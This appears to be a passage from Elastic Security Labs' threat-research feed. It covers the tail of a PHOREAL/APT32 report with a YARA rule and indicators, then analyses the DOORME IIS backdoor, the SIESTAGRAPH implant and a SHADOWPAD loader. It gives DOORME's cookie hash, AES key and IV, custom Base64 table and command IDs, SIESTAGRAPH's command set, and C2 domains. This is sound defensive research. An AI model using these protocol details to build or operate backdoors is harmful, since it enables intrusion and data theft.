<p>We assess with high confidence based on observed activity and previous reporting that REF4322 is <a href="https://attack.mitre.org/groups/G0050/">APT32/OceanLotus</a> and the actor behind this incident. APT32 has been active since 2014 <a href="https://www.mandiant.com/resources/cyber-espionage-apt32">notably targeting</a> Southeast Asian governments and businesses or other international businesses with interests in Vietnam. APT32 is the only group currently identified as operating the PHOREAL backdoor, and our victim matches the geographic and industry vertical profile of typical and specific prior APT32 victims.</p>
<h2>Conclusion</h2>
<h3>YARA Rules</h3>
<p>We have created a YARA rule to identify this PHOREAL activity.</p>
<p><strong>Yara rule to detect REF4322/APT32 in-memory backdoor PHOREAL/Rizzo</strong></p>
<pre><code>rule Windows_Trojan_PHOREAL {
    meta:
        Author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-02-16&quot;
        last_modified = &quot;2022-02-16&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PHOREAL&quot;
        threat_name = &quot;Windows.Trojan.PHOREAL&quot;
        description = &quot;Detects REF4322/APT32 in-memory backdoor PHOREAL/Rizzo.&quot;
        reference_sample = &quot;88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de&quot;


    strings:
              \\  &quot;\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}&quot;  ascii wide
        $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
                30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
                31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
                2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
                45 00 35 00 7D 00 }

              \\  &quot;Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}&quot;  ascii wide
        $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
                33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
                32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
                37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

              \\  &quot;{FD5F8447-657A-45C1-894B-D533926C9B66}.dll&quot;  ascii
        $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
                34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

              \\  PHOREAL start_address_bytes sequence
        $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
                00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
    condition:
        2 of them
}

</code></pre>
<h3>Defensive Recommendations</h3>
<p>The following steps can be leveraged to improve a network’s protective posture:</p>
<ol>
<li>Enable Elastic Security Memory Protection on Windows endpoints</li>
<li>Leverage the included YARA signatures above to determine if PHOREAL activity exists within your organization</li>
<li>Monitor or block network traffic to or from identified network IOCs and remediate impacted systems accordingly.</li>
</ol>
<h3>References</h3>
<p>The following research was referenced throughout the document:</p>
<ul>
<li><a href="https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf">https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf</a></li>
<li><a href="https://www.mandiant.com/resources/cyber-espionage-apt32">https://www.mandiant.com/resources/cyber-espionage-apt32</a></li>
<li><a href="https://www.secureworks.com/research/threat-profiles/tin-woodlawn">https://www.secureworks.com/research/threat-profiles/tin-woodlawn</a></li>
<li><a href="https://attack.mitre.org/software/S0158/">https://attack.mitre.org/software/S0158/</a></li>
<li><a href="https://attack.mitre.org/groups/G0050/">https://attack.mitre.org/groups/G0050/</a></li>
</ul>
<h3>Observables</h3>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Reference</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>thelivemusicgroup[.]com</td>
<td>domain-name</td>
<td></td>
<td>C2 domain encrypted in malware</td>
</tr>
<tr>
<td>103.75.117[.]250</td>
<td>ipv4-addr</td>
<td></td>
<td>Resolved IP of thelivemusicgroup[.]com</td>
</tr>
<tr>
<td>ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33</td>
<td>SHA256</td>
<td>tscon32.dll</td>
<td>PHOREAL dll</td>
</tr>
</tbody>
</table>
<h2>Artifacts</h2>
<p>Artifacts are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltecdb2d74a5c6ce1b/628e88d96f81705517a1f25b/phoreal-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/blog-thumb-roman-columns.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Update to the REF2924 intrusion set and related campaigns]]></title>
            <link>https://www.elastic.co/es/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns</link>
            <guid>update-to-the-REF2924-intrusion-set-and-related-campaigns</guid>
            <pubDate>Tue, 07 Feb 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs is providing an update to the REF2924 research published in December of 2022. This update includes malware analysis of the implants, additional findings, and associations with other intrusions.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>DOORME is a malicious IIS module that provides remote access to a contested network.</li>
<li>SIESTAGRAPH interacts with Microsoft’s GraphAPI for command and control using Outlook and OneDrive.</li>
<li>SHADOWPAD is a backdoor that has been used in multiple campaigns attributed to a regional threat group with non-monetary motivations.</li>
<li>REF2924 analytic update incorporating third-party and previously undisclosed incidents linking the REF2924 adversary to Winnti Group and ChamelGang along technical, tactical, and victim targeting lines.</li>
</ul>
<h2>Preamble</h2>
<p>This research highlights the capabilities and observations of the two backdoors, named &quot;DOORME&quot; and &quot;SIESTAGRAPH&quot;, and a backdoor called “SHADOWPAD” that was <a href="https://www.elastic.co/es/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">disclosed by Elastic</a> in December of 2022. DOORME is an IIS (Internet Information Services) backdoor module, which is deployed to web servers running the IIS software. SIESTAGRAPH is a .NET backdoor that leverages the Microsoft Graph interface, a collection of APIs for accessing various Microsoft services. SHADOWPAD is an actively developed and maintained modular remote access toolkit.</p>
<p>DOORME, SIESTAGRAPH, and SHADOWPAD each implement different functions that can be used to gain and maintain unauthorized access to an environment. The exact details of these functionalities will be described in further detail in this research publication. It is important to note that these backdoors can be used to steal sensitive information, disrupt operations, and gain a persistent presence in a victim environment.</p>
<p>Additionally, we will discuss the relationships between REF2924 and three other intrusions carried out by the same threat group, intrusion set, or both. These associations are made using first-party observations and third-party reporting. They have allowed us to state with moderate confidence that SIESTAGRAPH, DOORME, SHADOWPAD, and other elements of REF2924 are attributed to a regional threat group with non-monetary motivations.</p>
<blockquote>
<p>Additional information on the REF2924 intrusion setFor additional information on this intrusion set, which includes our initial disclosure as well as information into the campaign targeting the Foreign Ministry of an ASEAN member state, check out our <a href="https://www.elastic.co/es/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">previous research into REF2924</a>.</p>
</blockquote>
<h2>DOORME code analysis</h2>
<h3>Introduction to backdoored IIS modules</h3>
<p><a href="https://www.iis.net/">IIS</a>, developed by Microsoft, is an extensible web server software suite that serves as a platform for hosting websites and server-side applications within the Windows environment. With version 7.0, Microsoft has equipped IIS with a modular architecture that allows for the dynamic inclusion or exclusion of modules to suit various functional requirements. These modules correspond to specific features that the server can utilize to handle incoming requests.</p>
<p>As an example, a backdoored module that overrides the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method"><strong>OnGlobalPreBeginRequest</strong></a>event can be used to perform various malicious activities - such as capturing sensitive user information submitted to webpages, injecting malicious code into content served to visitors, or providing the attacker remote access to the web server. It is possible that a malicious module could intercept and modify a request before it is passed on to the server, adding an HTTP header or query string parameter that includes malicious code. When the server processes that modified request, the malicious code might be executed, allowing the attacker to gain unauthorized access or control the server and its resources.</p>
<p>Adding to the danger of IIS backdoors is that they can be stealthy and organizations may not be aware that they have been compromised. Many companies do not have the resources or expertise to regularly monitor and test their IIS modules for vulnerabilities and malicious code, which can make it difficult to detect and remediate backdoors. To mitigate these risks, organizations should maintain a comprehensive inventory of all IIS modules and implement network and endpoint protection solutions to help detect and respond to malicious activities. Elastic Security Labs has seen increased use of this persistence mechanism coupled with defense evasions, which may disproportionately impact those hosting on-premises servers running IIS.</p>
<h3>Introduction to the DOORME IIS module</h3>
<p>DOORME is a native backdoor module that is loaded into a victim's IIS infrastructure and used to provide remote access to the target infrastructure. We <a href="https://www.elastic.co/es/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">first discussed</a> the DOORME sample that we observed targeting the Foreign Ministry of an ASEAN member nation in December of 2022.</p>
<p>DOORME uses the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/pfn-registermodule-function"><strong>RegisterModule</strong></a> function, which is an export of a malicious C++ DLL module and is responsible for loading the module and setting up event handler methods. It also dynamically resolves API libraries that will be used later. The main functionality of the backdoor is implemented in the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-class"><strong>CGlobalModule</strong></a>class and its event handler, <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method"><strong>OnGlobalPreBeginRequest</strong></a>. This event handler is overridden by DOORME, allowing it to be loaded before a web request enters the IIS pipeline. The core functions of the backdoor (including cookie validation, parsing commands, and calling underlying command functions) are all located within this event handler. DOORME uses multiple obfuscation methods, an authentication mechanism, AES encryption implementation, and a purpose-built series of commands.</p>
<p>This diagram illustrates the contrast between an attacker attempting to connect to a backdoored IIS server and a legitimate user simply trying to access a webpage.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image33.jpg" alt="Overview diagram of the DOORME backdoor" /></p>
<h3>Obfuscation</h3>
<h4>String obfuscation</h4>
<p>DOORME XOR-encrypts strings to evade detection. These encrypted strings are then stored on the memory stack. As the original plaintext is obscured this string obfuscation makes it more difficult for security software or researchers to understand the purpose or meaning of the strings. The malware uses the first byte of every encrypted blob to XOR-decrypt the strings.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image22.jpg" alt="Pseudocode showcasing string obfuscation" /></p>
<h4>Anti-disassembly technique</h4>
<p>The malware employs a technique that can cause disassemblers to incorrectly split functions in the code, which leads to the generation of incorrect assembly graphs. This technique can make it more challenging for analysts to understand the malware's behavior and create an effective defense against it.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image14.jpg" alt="Gaps in the assembly view of IDA pro" /></p>
<h4>Control flow obfuscation</h4>
<p>The malware in question also employs a technique known as <a href="https://unprotect.it/technique/obscuring-control-flow/">Control Flow Obfuscation (CFO)</a> to complicate the analysis of its behavior. CFO is a technique where the flow of instructions in the code is deliberately manipulated to make it more difficult for security software and researchers to understand the malware's functionality.</p>
<p>The malware uses CFO to complicate the analysis process, but it is noteworthy that this technique is not applied to the entire codebase. From an analysis point of view, this tells us that these strings are of particular importance to the malware author - possibly to frustrate specific security tooling. The following example serves as a demonstration of how the malware uses CFO to conceal its functionality in the context of stack string XOR decryption.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image28.jpg" alt="Pseudocode showcasing CFO example" /></p>
<h4>Dynamic import table resolution obfuscation</h4>
<p>Dynamic import table resolution is a technique used by malicious software to evade detection by security software. It involves resolving the names of the Windows APIs that the malware needs to function at runtime, rather than hard coding the addresses of these APIs in the malware's import table.</p>
<p>DOORME first resolves the address of <strong>LoadLibraryA</strong> and <strong>GetProcAddress</strong> Windows API by parsing the <strong>kernel32.dll</strong> module export table, then uses the <strong>GetProcAddress</strong> function to locate the desired APIs within the modules by specifying the name of the API and the name of the DLL module that contains it.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image1.jpg" alt="Pseudocode showcasing import address table resolution" /></p>
<h3>Execution flow</h3>
<h4>Authentication</h4>
<p>The malicious IIS module backdoor operates by looking for the string &quot; <strong>79cfdd0e92b120faadd7eb253eb800d0</strong>&quot; (the MD5 hash sum of a profane string), in a specific cookie of the incoming HTTP requests, when found it will parse the rest of the request.</p>
<h4>GET request handling</h4>
<p><strong>GET</strong> requests are used to perform a status check: the malware returns the string “ <strong>It works!”</strong> followed by the <strong>username</strong> and the <strong>hostname</strong> of the infected machine. This serves as a means for the malware to confirm its presence on an infected machine.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image3.jpg" alt="GET request to the backdoor using curl command" /></p>
<h4>POST requests handling</h4>
<p>The backdoor operator sends commands to the malware through HTTP POST requests as data which is doubly encrypted. Commands are AES-encrypted and then Base64 encoded, which the DOORME backdoor then decrypts.</p>
<h4>Base64 implementation</h4>
<p>The malware's implementation of Base64 uses a different index table compared to the default Base64 encoding RFC. The specific index table used by the malware is <strong>&quot;VZkW6UKaPY8JR0bnMmzI4ugtCxsX2ejiE5q/9OH3vhfw1D+lQopdABTLrcNFGSy7&quot;</strong> , while the normal index table used by the Base64 algorithm is <strong>&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;</strong>. This deviation from the standard index table makes it more difficult to decode the encoded data and highlights additional custom obfuscation techniques by the DOORME malware author in an attempt to frustrate analysis.</p>
<h4>AES algorithm implementation</h4>
<p>The malware uses <a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES (Advanced Encryption Standard)</a> in CBC (Cipher Block Chaining) mode to encrypt and decrypt data. It uses the MD5 hash of the first 16 bytes of the authentication hash &quot; <strong>79cfdd0e92b120faadd7eb253eb800d0</strong>&quot;, as the AES key. The initialization vector (IV) of the algorithm is the MD5 hash of the AES key.</p>
<p>In our case the AES key is “ <strong>5a430ab45c7e142c70018b99fe0d2da3”</strong> and the AES IV is “ <strong>57ce15b304a97772”</strong>.</p>
<h3>Command handling table</h3>
<p>The backdoor is capable of executing four different commands, each with its own set of parameters. To specify which command to run and pass the necessary parameters, the operators of the backdoor use a specific syntax. The command ID and its parameters are separated by the &quot;pipe&quot; symbol( <strong>|</strong> ).</p>
<h4>Command ID 0x42</h4>
<p>The first command implemented has the ID <strong>0x42</strong> and generates a Globally Unique Identifier (GUID) by calling the API <strong>CoCreateGuid</strong>. Used to identify the infected machine, this helps to track infected machines and allows the attacker to focus on specific high-value environments.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image13.jpg" alt="Pseudocode generating the GUID" /></p>
<h4>Command ID 0x43</h4>
<p>Another command, ID <strong>0x43</strong> , is particularly noteworthy as it allows the attacker to execute shellcode in the memory of the same process. This functionality is achieved by utilizing the Windows native functions <strong>NtAllocateVirtualMemory</strong> and <strong>NtCreateThreadEx</strong>.</p>
<p>The <strong>NtAllocateVirtualMemory</strong> function is used to allocate memory in the same process for shellcode, while the <strong>NtCreateThreadEx</strong> function creates an execution thread with shellcode in that newly-allocated memory.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image27.jpg" alt="Pseudocode self-shellcode injection" /></p>
<h4>Command ID 0x63</h4>
<p>Command ID <strong>0x63</strong> allows the attacker to send a blob of shellcode in chunks, which the malware reassembles to execute. It works by sending this command ID with a shellcode chunk as a parameter. Implants can detect that the shellcode has been fully received when the server communicates a different shellcode size than expected. This approach allows the malware to handle large shellcode objects with minimal validation.</p>
<h4>Command ID 0x44</h4>
<p>Command ID <strong>0x44</strong> provides a means of interacting with the shellcode being executed on the infected system. The attacker can send input to the shellcode and retrieve its output via a named pipe. This allows the attacker to control the execution of the shellcode and receive feedback, which may help to capture the output of tools deployed in the environment via the DOORME implant.</p>
<h3>DOORME Summary</h3>
<p>In summary, DOORME provides a dangerous capability allowing attackers to gain unauthorized access to the internal network of victims through an internet-facing IIS web server. It includes multiple obfuscation techniques to evade detection, as well as the ability to execute additional malware and tools. Malware authors are increasingly leveraging IIS as covert backdoors that hide deep within the system. To protect against these threats, it is important to continuously monitor IIS servers for any suspicious activity, processes spawned from the IIS worker process ( <strong>w3wp.exe</strong> ), and the creation of new executables.</p>
<h2>SIESTAGRAPH code analysis</h2>
<h3>Introduction to the SIESTAGRAPH implant</h3>
<p>The implant utilizes the <a href="https://learn.microsoft.com/en-us/graph/overview">Microsoft Graph API</a> to access Microsoft 365 Mail and OneDrive for its C2 communication. It uses a predetermined tenant identifier and a refresh token to obtain access tokens. The implant uses the legitimate <a href="https://github.com/KoenZomers/OneDriveAPI">OneDriveAPI library</a> which simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. The implant leverages sleep timers in multiple locations as a defense evasion technique. This led to the implant’s name: SIESTAGRAPH.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image11.jpg" alt="Overview diagram of the SIESTAGRAPH implant" /></p>
<h3>Execution flow</h3>
<p>SIESTAGRAPH starts and enters its main function which will set up the needed parameters to access Microsoft GraphAPI by requesting an access token based on a hard coded refresh token.</p>
<p>![Initial setup of SIESTAGRAPH](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg</p>
<p>During the setup phase the malware uses the <a href="https://learn.microsoft.com/en-us/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications:~:text=Microsoft%20Office,4102%2Daeff%2Daad2292ab01c">Microsoft Office GUID</a> ( <strong>d3590ed6-52b3-4102-aeff-aad2292ab01c</strong> ). This is needed to supply access to both Microsoft 365 Mail and OneDrive.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image19.jpg" alt="Request an authentication token" /></p>
<h3>Authentication</h3>
<p>The SIESTAGRAPH author utilized a pre-determined tenant identifier and a refresh token to obtain access tokens. Both of these elements are essential in making a request for an access token. It is important to note that access tokens possess a limited lifespan, however, the refresh token can be utilized to request new access tokens as necessary.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image15.jpg" alt="Hard coded tenant and refresh tokens" /></p>
<p>To facilitate this process, the attacker utilized a third-party and legitimate library named <a href="https://github.com/KoenZomers/OneDriveAPI">OneDriveAPI</a>. This library simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. It should be noted that although third-party libraries such as OneDriveAPI can provide a convenient way to interact with APIs, they should not be considered to be malicious.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image21.jpg" alt="Use of third-party libraries" /></p>
<p>The malware utilizes the <strong>GetAccessTokenFromRefreshToken</strong> method to request an authentication token. This token is then used in all subsequent API requests.</p>
<p>Refresh tokens have a <a href="https://learn.microsoft.com/en-us/microsoft-365/enterprise/session-timeouts?view=o365-worldwide#:~:text=The%20default%20lifetime%20for%20the%20access%20token%20is%201%20hour.%20The%20default%20max%20inactive%20time%20of%20the%20refresh%20token%20is%2090%20days">90-day expiration window</a>. So while the access token was being used by the Graph API for C2, the refresh token, which is needed to generate new access tokens, was not used within the expiration window. The refresh token was generated on 2022-11-01T03:03:44.3138133Z and expired on 2023-01-30T03:03:44.3138133Z. This means that a new refresh token will be needed before a new access token can be generated. As the refresh token is hard coded into the malware, we can expect SIESTAGRAPH to be updated with a new refresh token if it is intended to be used in the future.</p>
<h3>Command and control</h3>
<p>A session token ( <strong>sessionToken</strong> ) is created by concatenating the process ID, machine name, username, and operating system. The session token is later used to retrieve commands intended for this specific implant.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image5.jpg" alt="Defining the session token" /></p>
<p>After obtaining authentication and session tokens, the malware collects system information and exfiltrates it using a method called <strong>sendSession</strong>.</p>
<p>Inspecting the <strong>sendSession</strong> method we see that it creates an email message and saves it as a draft. Using draft messages is common C2 tradecraft as a way to avoid email interception and inspection.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image6.jpg" alt="The sendMessage method" /></p>
<p>After sending the session information to the attacker, the implant enters a loop in which it will check for new commands. By default, this beaconing interval is every 5 seconds, however, this can be adjusted by the attacker at any time.</p>
<p>When receiving a command, the implant will use the <strong>getMessages</strong> method to check for any draft emails with commands from the attacker.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image9.jpg" alt="The getMessage method" /></p>
<p>With every call that contacts the Graph API, SIESTAGRAPH will receive the current authentication token ( <strong>authToken</strong> ). This token is then used in the HTTP request header following the <strong>Authorization: Bearer</strong> ( <strong>“Authorization”, “Bearer “ + authToken</strong> ).</p>
<p>Every call to this method will contain the <strong>sessionToken</strong> , a command, and command arguments, separated with colons ( <strong>:</strong> ) ( <strong><code>&lt;sessionToken&gt;:&lt;Command&gt;:&lt;command arguments&gt;</code></strong> ).</p>
<p>If a command has multiple arguments they will be split by a pipe ( <strong>|</strong> ). An example of this is the <strong>rename</strong> command where the source and destination names are split by a pipe.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image2.jpg" alt="Using a pipe for separating arguments" /></p>
<p>We have identified the following commands:</p>
<table>
<thead>
<tr>
<th>Command text</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>Run a command</td>
</tr>
<tr>
<td>N</td>
<td>Update the amount of time the binary will sleep between check-ins</td>
</tr>
<tr>
<td>D</td>
<td>Upload a file to OneDrive</td>
</tr>
<tr>
<td>U</td>
<td>Download Item from Onedrive</td>
</tr>
<tr>
<td>UU</td>
<td>Check to see is Core.bin exists then Download item from Onedrive</td>
</tr>
<tr>
<td>ListDrives</td>
<td>Send a list of the logical drives</td>
</tr>
<tr>
<td>GetDirectories</td>
<td>Send a list of given subdirectories</td>
</tr>
<tr>
<td>GetFiles</td>
<td>Send a list of files in a given directory</td>
</tr>
<tr>
<td>Del</td>
<td>Delete a given file</td>
</tr>
<tr>
<td>Rename</td>
<td>Rename a given file or directory</td>
</tr>
<tr>
<td>P</td>
<td>Get a list of running processes</td>
</tr>
<tr>
<td>E</td>
<td>Ends the execution of the binary</td>
</tr>
<tr>
<td>K</td>
<td>Kill a given process ID</td>
</tr>
<tr>
<td>S</td>
<td>Update the amount of time the binary will sleep between check-ins (same as N)</td>
</tr>
<tr>
<td>NET</td>
<td>Get network information</td>
</tr>
<tr>
<td>SS</td>
<td>Take a screenshot</td>
</tr>
</tbody>
</table>
<p>Several commands are self-explanatory ( <strong>ListDrives</strong> , <strong>Rename</strong> , etc.), however the run commands, update sleep timer, upload and download files, and take screenshots are more interesting and can provide a better understanding of the capabilities of SIESTAGRAPH.</p>
<h4>C - run command</h4>
<p>When the <strong>C</strong> command is received the malware runs the <strong>runCommand</strong> method. This method takes in the name of <strong>cmd.exe</strong> , the command line to run, and the number of milliseconds to wait for the new process to exit.</p>
<p>If the command parameter is not null or empty, the method proceeds to create a new instance of the <strong>System.Diagnostics.Process</strong> class, which is used to start and interact with a new process. It sets the properties of the process instance's <strong>StartInfo</strong> property, which is of the <strong>ProcessStartInfo</strong> class, such as the <strong>FileName</strong> property to the <strong>cmd</strong> parameter passed to the method, the <strong>Arguments</strong> property to <strong>/c</strong> concatenated with the command parameter, and also sets <strong>UseShellExecute</strong> , <strong>RedirectStandardInput</strong> , <strong>RedirectStandardOutput</strong> , <strong>RedirectStandardError,</strong> and <strong>CreateNoWindow</strong> property. As this method is only called with the hard coded value of <strong>cmd</strong> for the <strong>cmd</strong> parameter, the resulting command will always be <strong><code>cmd /c &lt;command to run&gt;</code></strong>. This is a common way to run commands if one does not have direct access to an interactive shell.</p>
<p>![The runCommand method](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg</p>
<h4>N - Sleep timer update</h4>
<p>The sleep command is a single instruction. If the argument for the command is larger than 1000, the value for the <strong>SleepTimer</strong> variable is updated. This variable is later used to determine how long the process will sleep in between check-ins.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image4.jpg" alt="Updating the SleepTimer" /></p>
<h4>D - Upload to OneDrive</h4>
<p>The <strong>D</strong> command is issued from the attacker’s perspective, so while they’re “downloading” from OneDrive, the host is “uploading” to OneDrive</p>
<p>The method receives a <strong>filePath</strong> , and the authentication and session tokens. It will then upload the requested file to OneDrive. If the file is successfully uploaded, a response message is sent to the attacker using the format <strong>OK|C:\foo\file.txt</strong>.</p>
<p>If the upload did not succeed the attacker will receive the error message <strong><code>OK|&lt;Error message&gt;</code></strong>.</p>
<p>While this method might seem simple it helps to avoid detection by using common libraries while achieving the goal of exfiltrating data from the victim. While unconfirmed, this could be how the <a href="https://www.elastic.co/es/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#exporting-exchange-mailboxes">exported Exchange mailboxes</a> were collected by the threat actor.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image20.jpg" alt="The uploadFile method" /></p>
<h4>U - Download from OneDrive</h4>
<p>The download function is similar to the upload function. Again, from the attacker's perspective, the <strong>U</strong> command stands for upload. As the file is downloaded from OneDrive by the implant, but uploaded by the attacker.</p>
<h4>NET - Gather network information</h4>
<p>The <strong>NET</strong> command will gather network information and send it back to the attacker. In order to gather the information the binary first resolves two functions from the DLLs, <strong>Ws2_32.dll</strong> (the Windows socket API) and <strong>iphlpapi.dll</strong> (the Windows IP helper API).</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image29.jpg" alt="Revolve functions from Ws2_32.dll and iphlpapi.dll" /></p>
<p>The <strong>NET</strong> command gathers information about open TCP connections from the system's TCP table. It then loops over all open connections and stores the information in an array that is sent back to the attacker. This code helps the attacker to get a better insight into the system's purpose within the network. As an example, if there are open connections for ports 587, 993, and 995, the host could be a Microsoft Exchange server.</p>
<h4>SS - Take screenshot</h4>
<p>To see the victim's desktop, SIESTAGRAPH can call the method named <strong>TakeScreenShot</strong> which takes a screenshot of the primary monitor and returns the screenshot as a Base64 encoded string.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image16.jpg" alt="The TakeScreenShot method" /></p>
<p>This function creates a new <strong>Bitmap</strong> object with the width and height of the primary screen's bounds. Then it creates a new <strong>Graphics</strong> object from the <strong>Bitmap</strong> object and uses the <strong>CopyFromScreen</strong> function to take a screenshot and copy it to the <strong>Graphics</strong> object.</p>
<p>It then creates a new <strong>MemoryStream</strong> object and uses the <strong>Save</strong> method of the <strong>Bitmap</strong> object to save the screenshot as a PNG image into the memory stream. The image in the memory stream is then converted to a Base64 encoded string using the <strong>Convert.ToBase64String</strong> method. The resulting Base64 string is then sent back to the attacker by saving it as an email draft.</p>
<h3>SIESTAGRAPH Summary</h3>
<p>SIESTAGRAPH is a purpose-built and full-featured implant that acts as a proxy for the threat actor. What makes SIESTAGRAPH more than a generic implant is that it uses legitimate and common, but adversary-controlled, infrastructure to deliver remote capabilities on the infected host.</p>
<h2>SHADOWPAD loader code analysis</h2>
<h3>Introduction to log.dll</h3>
<p>When Elastic Security Labs <a href="https://www.elastic.co/es/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#dll-side-loading">disclosed</a> REF2924 in December of 2022, we observed an unknown DLL. We have since collected and analyzed the DLL, concluding it is a loader for the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad">SHADOWPAD</a> malware family.</p>
<p>The DLL, <strong>log.dll</strong> , was observed on two Domain Controllers and was being side-loaded by an 11-year-old version of the Bitdefender Crash Handler (compiled name: <strong>BDReinit.exe</strong> ), named <strong>13802 AR.exe</strong> (in our example). Once executed, SHADOWPAD copies itself to **C:\ProgramData\OfficeDriver** as <strong>svchost.exe</strong> before installing itself as a service. Once <strong>log.dll</strong> is loaded, it will spawn Microsoft Windows Media Player ( <strong>wmplayer.exe</strong> ) and **dllhost.exe,** injecting into them which triggers a memory shellcode detection for Elastic Defend.</p>
<p>At runtime, <strong>log.dll</strong> looks for the <strong>log.dll.dat</strong> file which contains the shellcode to be executed. Then <strong>log.dll</strong> will encrypt and store the <strong>shellcode</strong> in the registry and shred the original <strong>log.dll.dat</strong> file. If the file doesn’t exist it will skip this part.</p>
<p>Then the sample will load the shellcode from the registry, RWX map it, and execute it from memory. If the registry key doesn’t exist the sample will crash.</p>
<h3>Execution flow</h3>
